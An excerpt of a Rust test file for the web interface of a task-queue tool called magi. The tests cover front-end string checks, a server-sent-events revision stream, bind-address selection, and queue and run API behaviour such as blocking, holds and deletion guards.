13020 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13021 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13022
13023 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13027 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13028 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13029 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13030
13031 assert!(APP_JS.contains("sandbox: \"\""));
13033 assert!(!APP_JS.contains("sandbox: \"allow"));
13034 }
13035
13036 #[test]
13037 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13038 assert!(
13047 APP_JS.contains(
13048 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13049 ),
13050 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13051 recursive renderQueue() call has nothing left to jump to"
13052 );
13053 assert!(
13054 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13055 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13056 arrives later still gets it"
13057 );
13058 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13059 assert!(APP_JS.contains("is not in the current Backlog."));
13060 assert!(APP_JS.contains("li.card[data-task-id=\""));
13061 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13062 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13063 assert!(APP_CSS.contains(".card-permalink"));
13064 assert!(APP_CSS.contains(".queue-focus-status"));
13065 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
13066 }
13067
13068 #[test]
13069 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13070 assert!(
13078 APP_JS.contains(
13079 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13080 ),
13081 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13082 );
13083 }
13084
13085 #[test]
13086 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13087 assert!(
13088 APP_JS.contains("round.verified_head !== round.head"),
13089 "a round that verified an earlier commit must be visibly distinct from one that \
13090 verified the head reviewers are looking at now"
13091 );
13092 assert!(
13093 APP_JS.contains("round.verified_at"),
13094 "when a check ran must be on the wire, not just which commit"
13095 );
13096 assert!(
13097 APP_JS.contains("resource_blocked"),
13098 "a command magi never got to run (shared build cache contention) must not render \
13099 the same as a command that ran and failed"
13100 );
13101 }
13102
13103 #[test]
13104 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13105 assert!(
13113 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13114 "every KPI tile built through statusTile() must route its click through \
13115 openRunsFiltered, the single place that sets the Runs filter"
13116 );
13117 for (label, status) in [
13118 ("Merged", "merged"),
13119 ("Ready", "ready"),
13120 ("Blocked", "blocked"),
13121 ("Stalled", "stalled"),
13122 ] {
13123 let call = format!("statusTile(\"{label}\", t.{status}, ");
13124 assert!(
13125 APP_JS.contains(&call),
13126 "expected the {label} KPI tile built via {call}..."
13127 );
13128 assert!(
13129 APP_JS.contains(&format!("status === \"{status}\"")),
13130 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13131 compare a run against, not one invented only for the stats tile"
13132 );
13133 }
13134 assert!(
13135 APP_JS.contains("function openRunsFiltered(status)"),
13136 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13137 );
13138 assert!(
13139 APP_JS.contains(
13140 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13141 ),
13142 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13143 );
13144 assert!(
13152 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13153 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13154 hashchange event that may never fire"
13155 );
13156 }
13157
13158 #[test]
13159 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13160 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13166 assert!(
13167 APP_JS.contains(
13168 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13169 ),
13170 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13171 guard for an incompatible tree section"
13172 );
13173 }
13174
13175 #[test]
13176 fn every_stats_queue_tile_names_a_real_queue_section() {
13177 assert!(
13183 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13184 "every queue tile built through sectionTile() must route its click through \
13185 openQueueSectionFocus"
13186 );
13187 for key in ["upnext", "running", "done", "held", "blocked"] {
13188 assert!(
13189 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13190 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13191 );
13192 }
13193 for line in [
13197 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13198 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13199 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13200 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13201 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13202 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13203 ] {
13204 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13205 }
13206 }
13207
13208 #[test]
13209 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13210 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13217 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13218 assert!(APP_JS.contains("function revealQueueSection(details)"));
13219 assert!(
13220 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13221 "renderQueue() must consume both focus channels on every pass"
13222 );
13223 assert!(
13224 APP_JS.contains(
13225 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13226 ),
13227 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13228 the recursive renderQueue() call has nothing left to reveal"
13229 );
13230 assert!(
13231 APP_JS.contains(
13232 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13233 ),
13234 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13235 );
13236 assert!(
13244 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13245 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13246 hashchange event that may never fire"
13247 );
13248 }
13249
13250 #[tokio::test]
13251 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13252 let f = Fixture::start().await;
13253
13254 let mut socket = tokio::net::TcpStream::connect(f.addr)
13255 .await
13256 .expect("connect");
13257 socket
13258 .write_all(
13259 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13260 )
13261 .await
13262 .expect("write request");
13263
13264 let mut seen = String::new();
13267 let mut buf = [0u8; 1024];
13268 while !seen.contains("event: change") {
13269 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13270 .await
13271 .expect("the stream must speak within five seconds")
13272 .expect("read");
13273 assert!(read > 0, "the server closed the change stream: {seen}");
13274 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13275 }
13276
13277 assert!(
13278 seen.to_lowercase()
13279 .contains("content-type: text/event-stream"),
13280 "the browser only reconnects automatically for a real SSE stream: {seen}"
13281 );
13282 let data = seen
13283 .lines()
13284 .find_map(|l| l.strip_prefix("data:"))
13285 .expect("a data line");
13286 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13287 assert!(
13288 payload["queue_rev"].is_u64()
13289 && payload["runs_rev"].is_u64()
13290 && payload["questions_rev"].is_u64()
13291 && payload["talks_rev"].is_u64()
13292 && payload["notifications_rev"].is_u64()
13293 && payload["loop_rev"].is_u64(),
13294 "the client needs one revision per store to know what to refetch, \
13295 and `talks_rev` is the only notification a standing talk gets - a \
13296 phone whose radio slept through a turn learns about it here, as \
13297 does one whose operator started the loop from another device: \
13298 {payload}"
13299 );
13300
13301 let health = f.get("/api/health").await.json();
13308 for key in [
13309 "queue_rev",
13310 "runs_rev",
13311 "questions_rev",
13312 "talks_rev",
13313 "notifications_rev",
13314 "loop_rev",
13315 ] {
13316 assert!(
13317 health[key].is_u64(),
13318 "health is the change stream's fallback and is missing `{key}`: {health}"
13319 );
13320 }
13321 }
13322
13323 #[tokio::test]
13324 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13325 let f = Fixture::start().await;
13326 let before = f.get("/api/health").await.json()["talks_rev"]
13327 .as_u64()
13328 .expect("talks_rev");
13329
13330 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13331 std::thread::sleep(Duration::from_millis(10));
13332 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13333 on_disk.turns.push(crate::talk::Turn {
13334 breaks: Some(Vec::new()),
13335 who: crate::talk::Who::Operator,
13336 body: "a new turn".to_owned(),
13337 at: Timestamp::now(),
13338 attachments: Vec::new(),
13339 usage: None,
13340 });
13341 f.talks().put(&mut on_disk).expect("record a turn");
13342
13343 let after = f.get("/api/health").await.json()["talks_rev"]
13344 .as_u64()
13345 .expect("talks_rev");
13346 assert_ne!(
13347 before, after,
13348 "a phone must be able to notice a talk's reply without polling every store"
13349 );
13350 }
13351
13352 #[test]
13353 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13354 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13358 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13359 }
13360 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13361 assert!("everywhere".parse::<Bind>().is_err());
13362 }
13363
13364 #[test]
13365 fn an_explicit_bind_address_is_taken_verbatim() {
13366 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13367
13368 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13369
13370 assert_eq!(addr, asked);
13371 assert!(
13372 warning.is_none(),
13373 "an operator who named an address gets no lecture"
13374 );
13375 }
13376
13377 #[test]
13378 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13379 let (addr, warning) = resolve_bind(&Bind::Auto);
13380
13381 match addr {
13388 IpAddr::V4(ip) if is_tailnet(&ip) => {
13389 assert!(warning.is_none(), "a tailnet address needs no warning");
13390 }
13391 other => {
13392 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13393 let warning = warning.expect("a fallback has to explain itself");
13394 assert!(
13395 warning.contains("127.0.0.1") && warning.contains("local-only"),
13396 "the warning says what happened and what it costs: {warning}"
13397 );
13398 }
13399 }
13400 }
13401
13402 #[test]
13403 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13404 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13408 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13409 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13410 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13411 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13412 }
13413
13414 #[test]
13415 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13416 let ids = vec![
13417 "20260902-140501-aaaa".to_owned(),
13418 "20260902-140502-aabb".to_owned(),
13419 ];
13420
13421 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13422 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13423 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13424
13425 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13426 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13427 assert_eq!(short, "20260902-140502-aabb");
13428 }
13429 #[tokio::test]
13430 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13431 let fx = Fixture::start().await;
13437 let id = panel(
13438 &fx,
13439 "<img src=\"shot.png\">",
13440 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13441 );
13442
13443 let doc = fx
13445 .get(&format!("/api/questions/{id}/panel/index.html"))
13446 .await;
13447 assert_eq!(doc.status, 200, "{}", doc.body);
13448 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13449
13450 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13451 assert_eq!(sibling.status, 200, "{}", sibling.body);
13452 assert_eq!(sibling.header("content-type"), Some("image/png"));
13453 assert_eq!(
13454 sibling.header("content-security-policy"),
13455 Some(PANEL_CSP),
13456 "the sibling route must carry the same policy as the asset route"
13457 );
13458
13459 assert_eq!(
13462 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13463 200
13464 );
13465 }
13466
13467 #[test]
13468 fn delta_stamps_cover_add_update_remove_and_noop() {
13469 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13470 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13471 let delta = diff_stamps(&before, &after, 42);
13472 assert_eq!(delta.base, 42);
13473 assert_eq!(delta.changed, ["b", "c"]);
13474 assert_eq!(delta.removed, ["a"]);
13475 let same = diff_stamps(&after, &after, 43);
13476 assert!(same.changed.is_empty() && same.removed.is_empty());
13477 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13478 let nanos: Stamps = [("b".into(), (2, 20))].into();
13479 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13480 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13481 assert_eq!(stamps_revision(&Stamps::new()), 0);
13482 }
13483
13484 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13485 std::fs::create_dir_all(home.join("runs")).unwrap();
13486 Arc::new(Ui::new(
13487 Queue::at(home.join("queue")),
13488 Questions::at(home.join("questions")),
13489 Talks::at(home.join("talks")),
13490 home.join("runs"),
13491 home.to_owned(),
13492 PathBuf::from("/repo/magi"),
13493 ))
13494 }
13495
13496 #[tokio::test]
13497 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13498 let home = TempDir::new().unwrap();
13499 let ui = delta_test_ui(home.path());
13500 let mut task = Task::new(
13501 "stream task".into(),
13502 "text".into(),
13503 PathBuf::from("/repo"),
13504 Source::Human,
13505 );
13506 ui.queue.put(&mut task).unwrap();
13507 let response = events(State(ui.clone())).await.into_response();
13508 let mut stream = response.into_body().into_data_stream();
13509 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13510 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13511 .await
13512 .unwrap()
13513 .unwrap()
13514 .unwrap();
13515 let text = String::from_utf8(chunk.to_vec()).unwrap();
13516 let data = text
13517 .lines()
13518 .find_map(|line| {
13519 line.strip_prefix("data: ")
13520 .or_else(|| line.strip_prefix("data:"))
13521 })
13522 .unwrap();
13523 serde_json::from_str(data).unwrap()
13524 }
13525 let initial = change(&mut stream).await;
13526 assert!(initial.get("queue_delta").is_none());
13527 task.instruction.push_str(" changed");
13528 ui.queue.put(&mut task).unwrap();
13529 let updated = change(&mut stream).await;
13530 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13531 assert_eq!(
13532 updated["queue_delta"]["changed"],
13533 serde_json::json!([task.id])
13534 );
13535 assert_eq!(
13536 updated["queue_rev"].as_u64(),
13537 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13538 );
13539 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13540 let removed = change(&mut stream).await;
13541 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13542 assert_eq!(
13543 removed["queue_delta"]["removed"],
13544 serde_json::json!([task.id])
13545 );
13546 }
13547
13548 #[tokio::test]
13549 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13550 let home = TempDir::new().unwrap();
13551 let ui = delta_test_ui(home.path());
13552 let queue = ui.queue.clone();
13553 let query = |ids: Option<&str>| {
13554 Query(ListQuery {
13555 limit: Some(2),
13556 ids: ids.map(str::to_owned),
13557 })
13558 };
13559 let mut root = Task::new(
13560 "root".into(),
13561 "instruction".into(),
13562 PathBuf::from("/repo"),
13563 Source::Human,
13564 );
13565 queue.put(&mut root).unwrap();
13566 let mut blocked = Task::new(
13567 "blocked".into(),
13568 "instruction".into(),
13569 PathBuf::from("/repo"),
13570 Source::Human,
13571 );
13572 blocked.block(vec![root.id.clone()], None);
13573 queue.put(&mut blocked).unwrap();
13574 let whole =
13575 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13576 .unwrap();
13577 let subset = serde_json::to_value(
13578 queue_list(State(ui.clone()), query(Some(&root.id)))
13579 .await
13580 .unwrap()
13581 .0,
13582 )
13583 .unwrap();
13584 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13585 let blockers = serde_json::to_value(
13586 queue_list(State(ui.clone()), query(Some("")))
13587 .await
13588 .unwrap()
13589 .0,
13590 )
13591 .unwrap();
13592 assert_eq!(blockers.as_array().unwrap().len(), 1);
13593 assert_eq!(blockers[0]["id"], blocked.id);
13594 assert_eq!(
13595 blockers[0]["waits_on"],
13596 whole
13597 .as_array()
13598 .unwrap()
13599 .iter()
13600 .find(|row| row["id"] == blocked.id)
13601 .unwrap()["waits_on"]
13602 );
13603
13604 for id in [
13605 "20260902-140501-aaaa",
13606 "20260902-140502-bbbb",
13607 "20260902-140503-cccc",
13608 ] {
13609 write_run(&ui.runs, id, RunStatus::Merged);
13610 }
13611 let old = serde_json::to_value(
13612 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13613 .await
13614 .unwrap()
13615 .0,
13616 )
13617 .unwrap();
13618 assert!(
13619 old.as_array().unwrap().is_empty(),
13620 "older updates must not enter the window"
13621 );
13622 let newest = serde_json::to_value(
13623 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13624 .await
13625 .unwrap()
13626 .0,
13627 )
13628 .unwrap();
13629 assert_eq!(newest.as_array().unwrap().len(), 1);
13630 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13631
13632 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13633 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13634 let talks = serde_json::to_value(
13635 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13636 .await
13637 .unwrap()
13638 .0,
13639 )
13640 .unwrap();
13641 assert_eq!(talks.as_array().unwrap().len(), 1);
13642 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13643 assert_eq!(
13644 serde_json::to_value(
13645 talks_list(State(ui.clone()), query(Some("")))
13646 .await
13647 .unwrap()
13648 .0
13649 )
13650 .unwrap(),
13651 serde_json::json!([])
13652 );
13653 }
13654
13655 #[tokio::test]
13656 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13657 async fn delta_payload_benchmark() {
13658 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13659 let ui = delta_test_ui(&home);
13660 let query = |ids: Option<String>| {
13661 Query(ListQuery {
13662 limit: Some(50),
13663 ids,
13664 })
13665 };
13666 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13667 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13668 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13669 let queue_id = queue
13670 .iter()
13671 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13672 .unwrap_or(&queue[0])
13673 .task
13674 .id
13675 .clone();
13676 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13677 .await
13678 .unwrap()
13679 .0;
13680 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13681 .await
13682 .unwrap()
13683 .0;
13684 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13685 .await
13686 .unwrap()
13687 .0;
13688 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13689 eprintln!(
13690 "DELTA_PAYLOAD {}",
13691 serde_json::json!({
13692 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13693 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13694 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13695 "counts": [queue.len(), runs.len(), talks.len()],
13696 "blocked": queue_delta.len() - 1,
13697 })
13698 );
13699 }
13700
13701 #[test]
13702 fn runs_revision_moves_when_deleting_an_older_run() {
13703 let temp = TempDir::new().expect("tempdir");
13704 let runs = temp.path().join("runs");
13705 std::fs::create_dir_all(&runs).expect("create runs dir");
13706
13707 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13708
13709 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13710 std::thread::sleep(Duration::from_millis(10));
13711 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13712
13713 let rev_before = runs_revision(&runs);
13714 assert!(rev_before > 0);
13715
13716 let old_dir = runs.join("20260901-100000-old1");
13717 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13718
13719 let rev_after = runs_revision(&runs);
13720 assert_ne!(
13721 rev_before, rev_after,
13722 "deleting an older run must change the revision so other clients see the deletion"
13723 );
13724 }
13725
13726 fn write_state(runs: &FsPath, state: &RunState) {
13731 let dir = runs.join(&state.id);
13732 std::fs::create_dir_all(&dir).expect("run dir");
13733 std::fs::write(
13734 dir.join("run.json"),
13735 serde_json::to_string_pretty(state).expect("serialize run"),
13736 )
13737 .expect("write run.json");
13738 }
13739
13740 #[test]
13745 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13746 let temp = TempDir::new().expect("tempdir");
13747 let runs = temp.path().join("runs");
13748 std::fs::create_dir_all(&runs).expect("create runs dir");
13749 let mut state = RunState::new(
13750 PathBuf::from("/repo/magi"),
13751 "main".to_owned(),
13752 "0123456789abcdef".to_owned(),
13753 "task".to_owned(),
13754 Config::default(),
13755 );
13756 state.id = "20260902-100000-c0de".to_owned();
13757 write_state(&runs, &state);
13758
13759 let rev_idle = runs_revision(&runs);
13760 std::thread::sleep(Duration::from_millis(10));
13761 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13762 write_state(&runs, &state);
13763 let rev_started = runs_revision(&runs);
13764 assert_ne!(
13765 rev_idle, rev_started,
13766 "a seat starting must move the revision"
13767 );
13768
13769 std::thread::sleep(Duration::from_millis(10));
13770 state.seat_finished("judge-1");
13771 write_state(&runs, &state);
13772 let rev_finished = runs_revision(&runs);
13773 assert_ne!(
13774 rev_started, rev_finished,
13775 "and clearing it again must move the revision a second time"
13776 );
13777 }
13778
13779 #[tokio::test]
13780 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13781 let fx = Fixture::start().await;
13786 let q = fx.queue();
13787
13788 let mut t = Task::new(
13789 "Task".to_owned(),
13790 "Instruction".to_owned(),
13791 PathBuf::from("/repo"),
13792 Source::Human,
13793 );
13794 t.block(
13795 vec!["20260101-000000-dead".to_owned()],
13796 Some("waiting on Task 1".to_owned()),
13797 );
13798 t.answers.push(crate::queue::AnsweredQuestion {
13799 question: "Which backend?".to_owned(),
13800 answer: "SQLite".to_owned(),
13801 });
13802 q.put(&mut t).expect("put t");
13803
13804 let res = fx.get("/api/queue").await;
13805 assert_eq!(res.status, 200);
13806 let list = res.json();
13807 let view = list
13808 .as_array()
13809 .expect("array")
13810 .iter()
13811 .find(|v| v["id"] == t.id)
13812 .expect("task in list");
13813 assert_eq!(view["status_str"], "blocked");
13814 assert_eq!(
13815 view["blocked_by"],
13816 serde_json::json!(["20260101-000000-dead"])
13817 );
13818 assert_eq!(view["block_reason"], "waiting on Task 1");
13819 assert_eq!(view["answers"][0]["question"], "Which backend?");
13820 assert_eq!(view["answers"][0]["answer"], "SQLite");
13821
13822 let res = fx
13826 .post(&format!("/api/queue/{}/hold", t.short()), None)
13827 .await;
13828 assert_eq!(res.status, 200);
13829 let held = res.json();
13830 assert_eq!(held["status_str"], "held");
13831 assert_eq!(held["blocked_by"], serde_json::json!([]));
13832 assert!(held["block_reason"].is_null());
13833 assert_eq!(held["answers"][0]["answer"], "SQLite");
13834 }
13835
13836 #[tokio::test]
13837 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13838 let fx = Fixture::start().await;
13839 let q = fx.queue();
13840 let mk = |title: &str| {
13841 Task::new(
13842 title.to_owned(),
13843 "Instruction".to_owned(),
13844 PathBuf::from("/repo"),
13845 Source::Human,
13846 )
13847 };
13848 let mut root = mk("root");
13849 root.hold_manual(Some("waiting".to_owned()));
13850 q.put(&mut root).unwrap();
13851 let mut mid = mk("mid");
13852 mid.block(vec![root.id.clone()], None);
13853 q.put(&mut mid).unwrap();
13854 let mut leaf = mk("leaf");
13855 leaf.block(vec![mid.id.clone()], None);
13856 q.put(&mut leaf).unwrap();
13857
13858 let list = fx.get("/api/queue").await.json();
13859 let find = |id: &str| {
13860 list.as_array()
13861 .unwrap()
13862 .iter()
13863 .find(|v| v["id"] == id)
13864 .unwrap()
13865 .clone()
13866 };
13867 let leaf_view = find(&leaf.id);
13868 assert_eq!(
13869 leaf_view["waits_on"],
13870 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13871 );
13872 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13873 assert_eq!(
13874 find(&mid.id)["waits_on"],
13875 serde_json::json!([format!("{} (held)", root.short())])
13876 );
13877 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13878 }
13879
13880 #[tokio::test]
13881 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13882 let fx = Fixture::start().await;
13883 let q = fx.queue();
13884
13885 let mut t1 = Task::new(
13887 "Task 1".to_owned(),
13888 "Instruction 1".to_owned(),
13889 PathBuf::from("/repo"),
13890 Source::Human,
13891 );
13892 let run_id = "20260901-000000-r111";
13893 t1.runs.push(run_id.to_owned());
13894 write_run(&fx.runs(), run_id, RunStatus::Merged);
13895 q.put(&mut t1).expect("put t1");
13896
13897 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13899 assert_eq!(res.status, 204);
13900 assert!(res.body.is_empty(), "204 No Content has no body");
13901 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13902 assert!(
13903 fx.runs().join(run_id).exists(),
13904 "run directory must not be deleted when its task is deleted"
13905 );
13906
13907 let mut t2 = Task::new(
13909 "Task 2".to_owned(),
13910 "Instruction 2".to_owned(),
13911 PathBuf::from("/repo"),
13912 Source::Human,
13913 );
13914 t2.status = TaskStatus::Running;
13915 q.put(&mut t2).expect("put t2");
13916 let mut beat = crate::daemon::Status::new();
13917 beat.current = vec![crate::daemon::Current {
13918 task: t2.id.clone(),
13919 run: "20260901-000000-r222".to_owned(),
13920 }];
13921 beat.updated_at = jiff::Timestamp::now();
13922 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13923 .expect("publish a heartbeat");
13924 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13925 assert_eq!(res.status, 409);
13926 assert!(
13927 res.json()["error"]
13928 .as_str()
13929 .unwrap()
13930 .contains("live daemon")
13931 );
13932 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13933
13934 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13940 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13941 .expect("leave a stale heartbeat");
13942 let mut t3 = Task::new(
13943 "Task 3".to_owned(),
13944 "Instruction 3".to_owned(),
13945 PathBuf::from("/repo"),
13946 Source::Human,
13947 );
13948 t3.status = TaskStatus::Running;
13949 q.put(&mut t3).expect("put t3");
13950 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13951 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13952 assert_eq!(res.status, 204);
13953 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13954 assert!(
13955 q.claim(&t3.id).is_ok(),
13956 "the stale lock went with it, so the id is claimable again"
13957 );
13958
13959 let res = fx.delete("/api/queue/nonexistent").await;
13961 assert_eq!(res.status, 404);
13962 }
13963
13964 #[tokio::test]
13965 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13966 let fx = Fixture::start().await;
13967 let runs = fx.runs();
13968
13969 let run_id = "20260901-000000-fold";
13971 let mut state = RunState::new(
13972 PathBuf::from("/repo"),
13973 "main".to_owned(),
13974 "abc".to_owned(),
13975 "instruction".to_owned(),
13976 Config::default(),
13977 );
13978 state.id = run_id.to_owned();
13979 state.status = RunStatus::Merged;
13980 state.candidates.push(crate::run::Candidate {
13981 index: 0,
13982 label: 'A',
13983 agent: "a".to_owned(),
13984 branch: "b".to_owned(),
13985 worktree: PathBuf::from("/w"),
13986 summary: String::new(),
13987 stat: String::new(),
13988 files: 1,
13989 commits: 1,
13990 empty: false,
13991 failed: None,
13992 verified_noop: None,
13993 duration_ms: 0,
13994 folded: true,
13995 });
13996 let dir = runs.join(run_id);
13997 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13998 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13999 .expect("write artifact");
